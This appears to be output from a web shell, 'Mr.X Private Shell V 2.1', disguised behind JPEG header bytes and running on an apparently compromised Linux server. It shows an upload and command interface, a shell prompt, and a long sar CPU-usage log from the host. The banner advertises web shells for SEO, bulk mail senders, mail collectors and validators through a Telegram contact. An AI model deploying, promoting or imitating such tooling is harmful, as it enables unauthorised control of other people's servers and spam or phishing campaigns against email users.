����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.204: ~ $
Linux 5.14.0-687.5.3.el9_8.x86_64 (vmi3339247.contaboserver.net) 	2026-07-17 	_x86_64_	(12 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:00        all     29.40      0.30     11.14     12.85      0.00      0.00      1.58      0.00      0.00     44.74
00:10:00          0     31.57      0.66     11.87     10.76      0.00      0.00      0.85      0.00      0.00     44.29
00:10:00          1     31.72      0.28     11.68     11.03      0.00      0.00      0.57      0.00      0.00     44.72
00:10:00          2     31.36      0.10     10.66     11.10      0.00      0.00      4.98      0.00      0.00     41.80
00:10:00          3     31.26      0.54     11.61     11.99      0.00      0.00      0.49      0.00      0.00     44.11
00:10:00          4     31.76      0.45     11.69     12.94      0.00      0.00      0.40      0.00      0.00     42.76
00:10:00          5     32.40      0.35     12.23     13.35      0.00      0.00      0.34      0.00      0.00     41.34
00:10:00          6     27.27      0.07     10.30     10.57      0.00      0.00     10.14      0.00      0.00     41.64
00:10:00          7     32.93      0.05     12.05     10.54      0.00      0.00      0.50      0.00      0.00     43.93
00:10:00          8     28.22      1.01     10.58     14.72      0.00      0.00      0.35      0.00      0.00     45.12
00:10:00          9     25.81      0.02     10.22     15.75      0.00      0.00      0.31      0.00      0.00     47.89
00:10:00         10     24.43      0.01     10.48     15.58      0.00      0.00      0.26      0.00      0.00     49.25
00:10:00         11     24.28      0.01     10.26     15.57      0.00      0.00      0.26      0.00      0.00     49.62
00:20:00        all     28.98      0.01     11.02      8.89      0.00      0.00      1.70      0.00      0.00     49.40
00:20:00          0     31.08      0.00     12.03      7.14      0.00      0.00      0.89      0.00      0.00     48.85
00:20:00          1     31.40      0.07     11.84      7.53      0.00      0.00      0.66      0.00      0.00     48.50
00:20:00          2     29.25      0.00     10.91      7.42      0.00      0.00      5.39      0.00      0.00     47.04
00:20:00          3     31.15      0.00     11.78      8.47      0.00      0.00      0.54      0.00      0.00     48.06
00:20:00          4     30.35      0.00     11.87      9.07      0.00      0.00      0.46      0.00      0.00     48.25
00:20:00          5     32.28      0.00     11.72      8.67      0.00      0.00      0.40      0.00      0.00     46.94
00:20:00          6     26.74      0.00     10.44      7.06      0.00      0.00     10.53      0.00      0.00     45.23
00:20:00          7     33.87      0.00     12.35      6.89      0.00      0.00      0.52      0.00      0.00     46.37
00:20:00          8     27.99      0.00     10.00     11.01      0.00      0.00      0.44      0.00      0.00     50.57
00:20:00          9     25.15      0.00      9.82     11.07      0.00      0.00      0.40      0.00      0.00     53.56
00:20:00         10     24.74      0.01      9.78     11.24      0.00      0.00      0.35      0.00      0.00     53.88
00:20:00         11     23.91      0.00      9.72     10.94      0.00      0.00      0.33      0.00      0.00     55.10
00:30:00        all     29.12      2.40     10.69     10.28      0.00      0.00      1.62      0.00      0.00     45.88
00:30:00          0     32.40      1.78     11.85      7.94      0.00      0.00      0.83      0.00      0.00     45.19
00:30:00          1     32.17      1.36     11.68      8.55      0.00      0.00      0.62      0.00      0.00     45.63
00:30:00          2     30.01      2.17     10.63      8.07      0.00      0.00      5.18      0.00      0.00     43.94
00:30:00          3     32.97      1.47     11.47      8.70      0.00      0.00      0.53      0.00      0.00     44.86
00:30:00          4     31.86      2.58     11.13      9.24      0.00      0.00      0.41      0.00      0.00     44.77
00:30:00          5     30.42      4.45     11.25      9.75      0.00      0.00      0.36      0.00      0.00     43.79
00:30:00          6     27.64      0.43     10.31      8.37      0.00      0.00     10.33      0.00      0.00     42.93
00:30:00          7     34.45      1.79     11.72      7.62      0.00      0.00      0.46      0.00      0.00     43.96
00:30:00          8     25.46      7.36      9.31     12.97      0.00      0.00      0.33      0.00      0.00     44.57
00:30:00          9     24.73      1.20      9.54     14.10      0.00      0.00      0.33      0.00      0.00     50.10
00:30:00         10     24.02      1.80      9.76     13.91      0.00      0.00      0.27      0.00      0.00     50.24
00:30:00         11     23.62      2.23      9.73     13.87      0.00      0.00      0.23      0.00      0.00     50.33
00:40:01        all     33.83      0.65     12.18     13.47      0.00      0.00      1.82      0.00      0.00     38.04
00:40:01          0     36.74      0.26     13.35     11.45      0.00      0.00      0.74      0.00      0.00     37.47
00:40:01          1     36.80      0.67     12.71     11.46      0.00      0.00      1.00      0.00      0.00     37.35
00:40:01          2     34.30      0.78     11.75     10.73      0.00      0.00      5.88      0.00      0.00     36.55
00:40:01          3     36.16      0.59     12.68     12.25      0.00      0.00      0.50      0.00      0.00     37.80
00:40:01          4     37.10      0.54     12.61     12.53      0.00      0.00      0.40      0.00      0.00     36.82
00:40:01          5     37.09      0.68     12.30     13.08      0.00      0.00      0.37      0.00      0.00     36.48
00:40:01          6     29.84      0.24     11.52     10.74      0.00      0.00     11.78      0.00      0.00     35.87
00:40:01          7     38.63      0.27     13.43     10.54      0.00      0.00      0.33      0.00      0.00     36.79
00:40:01          8     32.13      0.28     11.42     16.72      0.00      0.00      0.41      0.00      0.00     39.04
00:40:01          9     29.44      0.30     11.30     17.46      0.00      0.00      0.35      0.00      0.00     41.15
00:40:01         10     29.10      0.33     11.58     17.57      0.00      0.00      0.30      0.00      0.00     41.12
00:40:01         11     28.61      2.87     11.46     16.89      0.00      0.00      0.26      0.00      0.00     39.91
00:50:01        all     33.32      1.57     15.70     16.96      0.00      0.00      1.72      0.00      0.00     30.74
00:50:01          0     35.80      1.36     16.24     15.79      0.00      0.00      0.54      0.00      0.00     30.28
00:50:01          1     36.61      1.50     16.13     15.93      0.00      0.00      0.46      0.00      0.00     29.38
00:50:01          2     33.51      1.33     14.81     15.21      0.00      0.00      5.50      0.00      0.00     29.64
00:50:01          3     35.49      1.55     16.15     16.34      0.00      0.00      0.48      0.00      0.00     30.00
00:50:01          4     36.07      1.59     15.75     16.64      0.00      0.00      0.39      0.00      0.00     29.56
00:50:01          5     35.00      1.66     15.92     17.09      0.00      0.00      0.37      0.00      0.00     29.97
00:50:01          6     29.60      1.24     14.26     13.63      0.00      0.00     11.50      0.00      0.00     29.78
00:50:01          7     36.68      1.39     16.26     15.04      0.00      0.00      0.35      0.00      0.00     30.28
00:50:01          8     30.89      1.72     15.66     19.25      0.00      0.00      0.40      0.00      0.00     32.08
00:50:01          9     30.02      1.80     15.72     19.40      0.00      0.00      0.36      0.00      0.00     32.70
00:50:01         10     29.75      1.80     15.64     19.68      0.00      0.00      0.34      0.00      0.00     32.79
00:50:01         11     30.36      1.83     15.78     19.32      0.00      0.00      0.34      0.00      0.00     32.37
01:00:01        all     29.79      1.70     12.58     19.79      0.00      0.00      1.71      0.00      0.00     34.43
01:00:01          0     31.30      2.08     13.71     17.50      0.00      0.00      0.95      0.00      0.00     34.46
01:00:01          1     32.70      0.92     13.39     17.81      0.00      0.00      0.71      0.00      0.00     34.48
01:00:01          2     29.22      0.40     12.81     17.99      0.00      0.00      5.33      0.00      0.00     34.25
01:00:01          3     31.19      1.25     13.22     19.33      0.00      0.00      0.60      0.00      0.00     34.41
01:00:01          4     31.88      0.52     13.64     19.56      0.00      0.00      0.54      0.00      0.00     33.86
01:00:01          5     31.26      1.18     13.19     19.96      0.00      0.00      0.51      0.00      0.00     33.90
01:00:01          6     26.09      0.55     11.86     17.20      0.00      0.00     10.45      0.00      0.00     33.86
01:00:01          7     32.13      6.22     12.89     15.54      0.00      0.00      0.35      0.00      0.00     32.86
01:00:01          8     29.58      5.03     11.63     22.05      0.00      0.00      0.39      0.00      0.00     31.31
01:00:01          9     27.67      1.30     11.72     23.23      0.00      0.00      0.41      0.00      0.00     35.68
01:00:01         10     26.81      0.44     11.24     23.68      0.00      0.00      0.35      0.00      0.00     37.48
01:00:01         11     27.58      0.44     11.75     23.37      0.00      0.00      0.32      0.00      0.00     36.54
01:10:00        all     26.66      0.90     12.33     19.03      0.00      0.00      1.62      0.00      0.00     39.47
01:10:00          0     29.31      0.70     13.24     16.47      0.00      0.00      0.79      0.00      0.00     39.49
01:10:00          1     29.20      0.61     12.75     17.39      0.00      0.00      0.61      0.00      0.00     39.44
01:10:00          2     27.47      0.86     12.19     15.52      0.00      0.00      4.98      0.00      0.00     38.98
01:10:00          3     29.04      0.74     12.50     17.75      0.00      0.00      0.50      0.00      0.00     39.47
01:10:00          4     28.31      0.84     12.84     17.93      0.00      0.00      0.42      0.00      0.00     39.65
01:10:00          5     29.15      1.15     12.58     18.33      0.00      0.00      0.41      0.00      0.00     38.38
01:10:00          6     23.74      0.59     11.36     15.42      0.00      0.00     10.54      0.00      0.00     38.34
01:10:00          7     30.19      1.49     13.29     15.49      0.00      0.00      0.30      0.00      0.00     39.23
01:10:00          8     24.28      1.43     11.86     22.91      0.00      0.00      0.38      0.00      0.00     39.14
01:10:00          9     23.23      0.90     11.72     23.77      0.00      0.00      0.33      0.00      0.00     40.04
01:10:00         10     23.09      0.67     11.64     23.34      0.00      0.00      0.29      0.00      0.00     40.97
01:10:00         11     22.87      0.79     11.96     23.71      0.00      0.00      0.25      0.00      0.00     40.42
01:20:00        all     23.22      1.11     11.21     10.06      0.00      0.00      1.46      0.00      0.00     52.94
01:20:00          0     25.69      0.81     12.04      8.54      0.00      0.00      0.90      0.00      0.00     52.02
01:20:00          1     25.38      0.77     11.76      8.91      0.00      0.00      0.65      0.00      0.00     52.53
01:20:00          2     25.02      0.71     11.12      8.38      0.00      0.00      4.34      0.00      0.00     50.42
01:20:00          3     25.87      0.89     11.89      9.41      0.00      0.00      0.50      0.00      0.00     51.44
01:20:00          4     24.35      1.16     11.84      9.76      0.00      0.00      0.39      0.00      0.00     52.50
01:20:00          5     26.08      2.52     11.48      9.52      0.00      0.00      0.32      0.00      0.00     50.08
01:20:00          6     22.31      0.69     10.52      8.07      0.00      0.00      9.32      0.00      0.00     49.09
01:20:00          7     27.36      0.75     12.03      7.85      0.00      0.00      0.26      0.00      0.00     51.74
01:20:00          8     21.22      1.55     10.70     12.19      0.00      0.00      0.34      0.00      0.00     54.00
01:20:00          9     18.89      1.28     10.33     12.54      0.00      0.00      0.27      0.00      0.00     56.68
01:20:00         10     18.08      1.12     10.40     12.79      0.00      0.00      0.24      0.00      0.00     57.36
01:20:00         11     18.48      1.04     10.40     12.65      0.00      0.00      0.20      0.00      0.00     57.24
01:30:00        all     30.44      1.96     13.83      8.69      0.00      0.00      1.78      0.00      0.00     43.31
01:30:00          0     33.83      1.84     14.69      7.29      0.00      0.00      0.64      0.00      0.00     41.71
01:30:00          1     33.91      1.83     14.37      7.47      0.00      0.00      0.52      0.00      0.00     41.90
01:30:00          2     32.44      1.09     12.99      7.22      0.00      0.00      5.48      0.00      0.00     40.78
01:30:00          3     33.30      1.34     14.57      8.23      0.00      0.00      0.60      0.00      0.00     41.96
01:30:00          4     33.41      2.84     14.32      8.06      0.00      0.00      0.39      0.00      0.00     40.98
01:30:00          5     32.95      2.23     14.23      8.40      0.00      0.00      0.36      0.00      0.00     41.82
01:30:00          6     27.91      1.07     12.38      6.64      0.00      0.00     12.21      0.00      0.00     39.80
01:30:00          7     35.45      1.28     14.82      7.03      0.00      0.00      0.27      0.00      0.00     41.15
01:30:00          8     26.31      5.21     13.12     10.40      0.00      0.00      0.37      0.00      0.00     44.59
01:30:00          9     25.07      1.40     13.56     11.11      0.00      0.00      0.33      0.00      0.00     48.53
01:30:00         10     25.11      1.54     13.55     11.37      0.00      0.00      0.30      0.00      0.00     48.13
01:30:00         11     25.56      1.78     13.29     10.94      0.00      0.00      0.25      0.00      0.00     48.18
01:40:02        all     32.48      1.85     16.04     10.23      0.00      0.00      1.81      0.00      0.00     37.59
01:40:02          0     35.69      1.62     16.49      8.78      0.00      0.00      0.52      0.00      0.00     36.91
01:40:02          1     36.05      1.66     16.29      9.06      0.00      0.00      0.41      0.00      0.00     36.54
01:40:02          2     33.63      1.59     15.15      8.75      0.00      0.00      5.66      0.00      0.00     35.23
01:40:02          3     35.44      1.78     16.31      9.59      0.00      0.00      0.43      0.00      0.00     36.45
01:40:02          4     35.14      1.89     16.16      9.84      0.00      0.00      0.35      0.00      0.00     36.62
01:40:02          5     35.55      1.86     16.09      9.92      0.00      0.00      0.32      0.00      0.00     36.25
01:40:02          6     28.49      1.46     14.14      7.97      0.00      0.00     12.72      0.00      0.00     35.23
01:40:02          7     36.88      1.49     16.52      8.51      0.00      0.00      0.31      0.00      0.00     36.28
01:40:02          8     28.14      2.19     16.21     12.61      0.00      0.00      0.36      0.00      0.00     40.48
01:40:02          9     28.08      2.27     16.43     12.80      0.00      0.00      0.32      0.00      0.00     40.10
01:40:02         10     27.95      2.24     16.35     12.67      0.00      0.00      0.29      0.00      0.00     40.49
01:40:02         11     28.66      2.11     16.29     12.22      0.00      0.00      0.28      0.00      0.00     40.44
01:50:00        all     27.11      0.52      9.99      8.32      0.00      0.00      1.32      0.00      0.00     52.74
01:50:00          0     29.19      1.07     10.95      6.72      0.00      0.00      1.01      0.00      0.00     51.06
01:50:00          1     28.36      0.43     10.70      7.38      0.00      0.00      0.72      0.00      0.00     52.41
01:50:00          2     28.40      0.25     10.02      6.81      0.00      0.00      3.84      0.00      0.00     50.69
01:50:00          3     28.80      0.33     10.65      7.57      0.00      0.00      0.52      0.00      0.00     52.13
01:50:00          4     28.81      0.14     10.62      7.92      0.00      0.00      0.45      0.00      0.00     52.05
01:50:00          5     30.02      0.13     10.72      8.40      0.00      0.00      0.33      0.00      0.00     50.39
01:50:00          6     25.25      0.14      9.82      7.13      0.00      0.00      8.09      0.00      0.00     49.58
01:50:00          7     30.90      0.16     10.72      6.36      0.00      0.00      0.22      0.00      0.00     51.64
01:50:00          8     27.00      3.02      9.32      9.92      0.00      0.00      0.27      0.00      0.00     50.48
01:50:00          9     23.47      0.29      8.92     10.76      0.00      0.00      0.22      0.00      0.00     56.34
01:50:00         10     23.07      0.12      8.73     10.50      0.00      0.00      0.20      0.00      0.00     57.38
01:50:00         11     22.09      0.12      8.78     10.27      0.00      0.00      0.15      0.00      0.00     58.59

01:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:00        all     16.96      0.01      6.48      3.24      0.00      0.00      1.00      0.00      0.00     72.31
02:00:00          0     19.62      0.02      7.41      2.58      0.00      0.00      0.97      0.00      0.00     69.42
02:00:00          1     18.90      0.01      7.28      2.88      0.00      0.00      0.58      0.00      0.00     70.34
02:00:00          2     17.91      0.02      6.97      2.79      0.00      0.00      2.88      0.00      0.00     69.44
02:00:00          3     18.22      0.01      7.13      3.08      0.00      0.00      0.33      0.00      0.00     71.24
02:00:00          4     19.53      0.01      7.29      3.34      0.00      0.00      0.22      0.00      0.00     69.61
02:00:00          5     19.08      0.01      7.15      3.31      0.00      0.00      0.18      0.00      0.00     70.27
02:00:00          6     17.12      0.03      6.56      2.47      0.00      0.00      6.36      0.00      0.00     67.46
02:00:00          7     20.50      0.02      7.51      2.33      0.00      0.00      0.15      0.00      0.00     69.51
02:00:00          8     16.25      0.00      5.37      3.69      0.00      0.00      0.16      0.00      0.00     74.53
02:00:00          9     13.04      0.00      5.13      4.22      0.00      0.00      0.13      0.00      0.00     77.48
02:00:00         10     11.49      0.00      4.85      3.74      0.00      0.00      0.12      0.00      0.00     79.80
02:00:00         11     12.03      0.00      5.17      4.41      0.00      0.00      0.10      0.00      0.00     78.29
02:10:01        all     26.90      0.78     10.63      4.97      0.00      0.00      1.42      0.00      0.00     55.29
02:10:01          0     29.24      0.71     11.79      4.45      0.00      0.00      0.84      0.00      0.00     52.96
02:10:01          1     29.76      0.53     11.42      4.37      0.00      0.00      0.58      0.00      0.00     53.33
02:10:01          2     28.98      0.42     10.65      4.16      0.00      0.00      4.49      0.00      0.00     51.30
02:10:01          3     29.63      1.11     11.24      4.68      0.00      0.00      0.44      0.00      0.00     52.89
02:10:01          4     29.82      0.54     11.29      4.92      0.00      0.00      0.34      0.00      0.00     53.08
02:10:01          5     29.45      0.57     11.36      5.04      0.00      0.00      0.31      0.00      0.00     53.27
02:10:01          6     24.70      0.43      9.99      3.95      0.00      0.00      9.17      0.00      0.00     51.77
02:10:01          7     31.44      0.50     11.92      4.25      0.00      0.00      0.25      0.00      0.00     51.64
02:10:01          8     24.72      2.91      9.71      5.94      0.00      0.00      0.30      0.00      0.00     56.43
02:10:01          9     22.31      0.56      9.57      6.07      0.00      0.00      0.26      0.00      0.00     61.23
02:10:01         10     21.94      0.53      9.43      5.69      0.00      0.00      0.22      0.00      0.00     62.19
02:10:01         11     21.04      0.54      9.24      6.04      0.00      0.00      0.20      0.00      0.00     62.93
02:20:00        all     26.41      1.47     13.03      8.87      0.00      0.00      1.62      0.00      0.00     48.60
02:20:00          0     28.36      1.34     14.07      7.63      0.00      0.00      0.85      0.00      0.00     47.76
02:20:00          1     29.54      1.19     13.66      8.05      0.00      0.00      0.56      0.00      0.00     47.00
02:20:00          2     27.71      1.14     12.51      7.59      0.00      0.00      4.95      0.00      0.00     46.10
02:20:00          3     28.77      1.30     13.61      8.45      0.00      0.00      0.48      0.00      0.00     47.39
02:20:00          4     28.97      1.28     13.74      8.55      0.00      0.00      0.41      0.00      0.00     47.05
02:20:00          5     28.17      2.74     13.42      8.63      0.00      0.00      0.37      0.00      0.00     46.66
02:20:00          6     23.95      1.22     11.99      7.28      0.00      0.00     10.69      0.00      0.00     44.88
02:20:00          7     30.03      1.15     13.74      7.37      0.00      0.00      0.32      0.00      0.00     47.40
02:20:00          8     23.97      2.03     12.64     10.58      0.00      0.00      0.37      0.00      0.00     50.40
02:20:00          9     22.39      1.36     12.30     11.14      0.00      0.00      0.32      0.00      0.00     52.49
02:20:00         10     23.05      1.58     12.26     10.63      0.00      0.00      0.28      0.00      0.00     52.20
02:20:00         11     22.04      1.32     12.33     10.48      0.00      0.00      0.27      0.00      0.00     53.56
02:30:02        all     27.93      0.65     10.84      6.74      0.00      0.00      1.63      0.00      0.00     52.21
02:30:02          0     30.89      0.60     11.98      5.37      0.00      0.00      0.87      0.00      0.00     50.28
02:30:02          1     30.56      0.60     11.70      5.93      0.00      0.00      0.62      0.00      0.00     50.60
02:30:02          2     28.22      0.71     11.01      5.60      0.00      0.00      5.05      0.00      0.00     49.41
02:30:02          3     31.23      0.46     11.64      6.10      0.00      0.00      0.48      0.00      0.00     50.09
02:30:02          4     30.88      0.42     11.52      6.35      0.00      0.00      0.37      0.00      0.00     50.45
02:30:02          5     31.34      0.86     11.61      6.43      0.00      0.00      0.34      0.00      0.00     49.43
02:30:02          6     25.78      0.55     10.21      5.10      0.00      0.00     10.91      0.00      0.00     47.46
02:30:02          7     33.37      0.47     11.99      5.00      0.00      0.00      0.24      0.00      0.00     48.93
02:30:02          8     25.06      1.44      9.71      8.66      0.00      0.00      0.32      0.00      0.00     54.80
02:30:02          9     22.59      0.53      9.76      9.04      0.00      0.00      0.29      0.00      0.00     57.79
02:30:02         10     22.56      0.56      9.42      8.52      0.00      0.00      0.23      0.00      0.00     58.71
02:30:02         11     22.73      0.56      9.55      8.64      0.00      0.00      0.21      0.00      0.00     58.31
02:40:01        all     30.01      0.97     12.28     12.82      0.00      0.00      1.66      0.00      0.00     42.26
02:40:01          0     32.98      0.83     12.95     11.18      0.00      0.00      0.69      0.00      0.00     41.36
02:40:01          1     32.43      0.64     13.04     11.80      0.00      0.00      0.55      0.00      0.00     41.54
02:40:01          2     30.77      1.00     11.79     10.85      0.00      0.00      5.21      0.00      0.00     40.37
02:40:01          3     32.25      0.69     12.97     12.35      0.00      0.00      0.51      0.00      0.00     41.23
02:40:01          4     32.98      0.97     12.59     12.39      0.00      0.00      0.40      0.00      0.00     40.66
02:40:01          5     32.20      0.94     13.01     12.89      0.00      0.00      0.39      0.00      0.00     40.57
02:40:01          6     26.52      0.55     11.31     10.01      0.00      0.00     10.94      0.00      0.00     40.67
02:40:01          7     33.79      0.60     13.45     10.72      0.00      0.00      0.34      0.00      0.00     41.09
02:40:01          8     28.25      1.73     11.68     15.24      0.00      0.00      0.36      0.00      0.00     42.74
02:40:01          9     25.69      1.25     11.52     15.57      0.00      0.00      0.32      0.00      0.00     45.64
02:40:01         10     26.04      0.68     11.46     15.59      0.00      0.00      0.32      0.00      0.00     45.92
02:40:01         11     26.20      1.78     11.53     15.06      0.00      0.00      0.27      0.00      0.00     45.16
02:50:02        all     32.18      1.61     15.14     10.80      0.00      0.00      1.80      0.00      0.00     38.48
02:50:02          0     35.47      1.18     15.66      9.49      0.00      0.00      0.58      0.00      0.00     37.62
02:50:02          1     35.44      1.35     15.57      9.60      0.00      0.00      0.53      0.00      0.00     37.51
02:50:02          2     32.66      1.23     14.37      9.26      0.00      0.00      5.64      0.00      0.00     36.83
02:50:02          3     34.96      1.53     15.52     10.09      0.00      0.00      0.48      0.00      0.00     37.41
02:50:02          4     34.59      1.42     15.38     10.66      0.00      0.00      0.40      0.00      0.00     37.55
02:50:02          5     35.41      1.46     15.40     10.39      0.00      0.00      0.36      0.00      0.00     36.97
02:50:02          6     28.51      1.15     13.52      8.26      0.00      0.00     12.14      0.00      0.00     36.42
02:50:02          7     35.76      2.49     15.59      8.81      0.00      0.00      0.35      0.00      0.00     37.01
02:50:02          8     28.93      2.34     15.32     13.27      0.00      0.00      0.39      0.00      0.00     39.74
02:50:02          9     28.29      1.79     14.85     13.12      0.00      0.00      0.35      0.00      0.00     41.61
02:50:02         10     28.13      1.74     15.07     13.26      0.00      0.00      0.39      0.00      0.00     41.41
02:50:02         11     28.01      1.62     15.32     13.25      0.00      0.00      0.30      0.00      0.00     41.50
03:00:01        all     33.28      2.35     12.76      7.97      0.00      0.00      1.82      0.00      0.00     41.82
03:00:01          0     36.93      2.49     13.28      6.55      0.00      0.00      0.67      0.00      0.00     40.08
03:00:01          1     37.44      1.56     13.54      7.03      0.00      0.00      0.56      0.00      0.00     39.87
03:00:01          2     35.39      1.12     12.46      6.67      0.00      0.00      5.66      0.00      0.00     38.71
03:00:01          3     37.09      0.70     13.34      7.52      0.00      0.00      0.50      0.00      0.00     40.83
03:00:01          4     36.64      1.22     13.58      7.77      0.00      0.00      0.46      0.00      0.00     40.33
03:00:01          5     36.58      1.63     13.40      7.77      0.00      0.00      0.39      0.00      0.00     40.24
03:00:01          6     30.40      0.84     11.74      6.01      0.00      0.00     12.30      0.00      0.00     38.70
03:00:01          7     36.69      3.79     13.55      6.01      0.00      0.00      0.35      0.00      0.00     39.60
03:00:01          8     29.19      5.82     12.02      9.69      0.00      0.00      0.36      0.00      0.00     42.92
03:00:01          9     28.54      1.83     12.07     10.06      0.00      0.00      0.37      0.00      0.00     47.14
03:00:01         10     28.29      0.89     12.09     10.18      0.00      0.00      0.30      0.00      0.00     48.25
03:00:01         11     26.26      6.16     12.03     10.31      0.00      0.00      0.28      0.00      0.00     44.95
03:10:02        all     27.48      1.22     13.36     11.02      0.00      0.00      1.48      0.00      0.00     45.43
03:10:02          0     29.60      1.21     14.45      9.60      0.00      0.00      0.73      0.00      0.00     44.41
03:10:02          1     29.90      1.13     14.09     10.20      0.00      0.00      0.56      0.00      0.00     44.11
03:10:02          2     28.54      1.01     12.91      9.74      0.00      0.00      4.59      0.00      0.00     43.21
03:10:02          3     30.20      1.18     13.55     10.44      0.00      0.00      0.47      0.00      0.00     44.16
03:10:02          4     29.66      1.39     13.56     10.77      0.00      0.00      0.36      0.00      0.00     44.26
03:10:02          5     29.82      1.24     13.91     10.74      0.00      0.00      0.32      0.00      0.00     43.97
03:10:02          6     25.59      1.10     12.57      8.92      0.00      0.00      9.58      0.00      0.00     42.24
03:10:02          7     30.79      1.08     14.82      9.11      0.00      0.00      0.27      0.00      0.00     43.94
03:10:02          8     25.53      1.33     12.68     13.10      0.00      0.00      0.32      0.00      0.00     47.03
03:10:02          9     23.24      1.35     12.74     13.50      0.00      0.00      0.29      0.00      0.00     48.88
03:10:02         10     23.60      1.35     12.56     13.18      0.00      0.00      0.27      0.00      0.00     49.04
03:10:02         11     23.28      1.32     12.54     12.87      0.00      0.00      0.24      0.00      0.00     49.76
03:20:01        all     28.07      1.47     12.80     10.93      0.00      0.00      1.56      0.00      0.00     45.18
03:20:01          0     30.58      1.17     13.67      9.50      0.00      0.00      0.75      0.00      0.00     44.33
03:20:01          1     30.81      1.00     13.30      9.42      0.00      0.00      0.60      0.00      0.00     44.86
03:20:01          2     29.22      0.92     12.35      8.89      0.00      0.00      4.72      0.00      0.00     43.90
03:20:01          3     31.27      1.00     13.49     10.13      0.00      0.00      0.54      0.00      0.00     43.57
03:20:01          4     31.13      1.06     13.36      9.98      0.00      0.00      0.39      0.00      0.00     44.08
03:20:01          5     30.54      3.60     13.08     10.15      0.00      0.00      0.32      0.00      0.00     42.31
03:20:01          6     25.06      0.97     11.95      8.77      0.00      0.00     10.24      0.00      0.00     43.02
03:20:01          7     32.79      0.89     13.63      8.82      0.00      0.00      0.29      0.00      0.00     43.56
03:20:01          8     24.18      3.25     12.21     13.72      0.00      0.00      0.35      0.00      0.00     46.28
03:20:01          9     23.19      1.33     12.48     13.99      0.00      0.00      0.28      0.00      0.00     48.72
03:20:01         10     24.21      1.23     11.92     13.66      0.00      0.00      0.25      0.00      0.00     48.73
03:20:01         11     23.87      1.13     12.14     14.00      0.00      0.00      0.22      0.00      0.00     48.65
03:30:00        all     30.94      1.40     14.67     13.63      0.00      0.00      1.71      0.00      0.00     37.65
03:30:00          0     33.82      1.26     15.35     12.03      0.00      0.00      0.64      0.00      0.00     36.90
03:30:00          1     33.49      1.23     15.36     12.49      0.00      0.00      0.50      0.00      0.00     36.93
03:30:00          2     32.01      1.14     14.03     11.78      0.00      0.00      5.44      0.00      0.00     35.60
03:30:00          3     33.46      1.35     15.07     12.85      0.00      0.00      0.47      0.00      0.00     36.81
03:30:00          4     32.77      1.37     14.95     13.58      0.00      0.00      0.38      0.00      0.00     36.95
03:30:00          5     33.16      1.36     14.93     13.54      0.00      0.00      0.36      0.00      0.00     36.65
03:30:00          6     26.78      1.16     13.41     11.07      0.00      0.00     11.54      0.00      0.00     36.06
03:30:00          7     35.44      1.06     15.50     11.39      0.00      0.00      0.29      0.00      0.00     36.32
03:30:00          8     28.73      1.58     14.34     16.11      0.00      0.00      0.37      0.00      0.00     38.87
03:30:00          9     27.90      1.78     14.22     15.90      0.00      0.00      0.30      0.00      0.00     39.90
03:30:00         10     27.18      1.85     14.46     16.22      0.00      0.00      0.27      0.00      0.00     40.02
03:30:00         11     26.56      1.60     14.39     16.54      0.00      0.00      0.26      0.00      0.00     40.64
